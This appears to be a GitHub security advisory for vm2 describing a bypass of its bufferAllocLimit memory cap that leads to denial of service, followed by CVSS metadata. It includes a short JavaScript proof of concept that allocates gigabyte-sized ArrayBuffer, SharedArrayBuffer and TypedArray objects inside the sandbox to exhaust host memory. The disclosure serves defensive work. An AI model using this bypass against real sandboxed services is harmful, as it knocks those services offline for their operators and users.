GHSA-v836-6xw4-9cx3
### Summary: The `bufferAllocLimit` defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using `ArrayBuffer`, `SharedArrayBuffer`, or any `TypedArray` constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as `Buffer.alloc` but are not subject to the size cap. ### Details: The `bufferAllocLimit` option (vm2 v3.11.0+) caps `Buffer.alloc`, `Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. The cap is enforced in `setup-sandbox.js` via `checkBufferAllocLimit()` (line 353-359). However, `ArrayBuffer`, `SharedArrayBuffer`, `Uint8Array`, `Float64Array`, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (`v8::ArrayBuffer::NewBackingStore` → `ArrayBufferAllocator::Allocate` → `calloc/malloc`). These constructors are NOT intercepted by the `bufferAllocLimit` defense. A single `new ArrayBuffer(N)` call with a large `N` exhausts host RSS in one synchronous allocation that V8's `timeout` cannot interrupt. ### Environment: - vm2 version: 3.11.3 - Node.js: v25.8.1 (affects all Node.js versions) - Configuration: Default `new VM()` or any configuration including `bufferAllocLimit` ### POC: ```javascript const { VM } = require('vm2'); // Operator sets bufferAllocLimit thinking they're protected: const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap // Buffer.alloc IS capped (as intended): try { vm.run('Buffer.alloc(20 * 1024 * 1024)'); } catch(e) { console.log('Buffer.alloc blocked:', e.message); } // → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760" // But these BYPASS the cap entirely: vm.run('new ArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new SharedArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new Uint8Array(1024 * 1024 * 1024)'); // 1GB allocated! vm.run('new Float64Array(128 * 1024 * 1024)');
Properties
- ghsa_id
- GHSA-v836-6xw4-9cx3
- severity
- high
- summary
- vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass
- cvss_score
- 7.5
- cve_id
- GHSA-v836-6xw4-9cx3
- cvss_vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- is_ghsa_only
- true
- ghsa_published
- 2026-08-17T17:32:57Z
- source_url
- https://github.com/advisories/GHSA-v836-6xw4-9cx3
- ghsa_updated
- 2026-08-17T17:32:58Z
Related Entities (4)
VULNERABLE_TO (1)
AFFECTS (1)
HAS_WEAKNESS (1)
REPORTED_BY (1)
Explore deeper with Ninja Signal's threat intelligence graph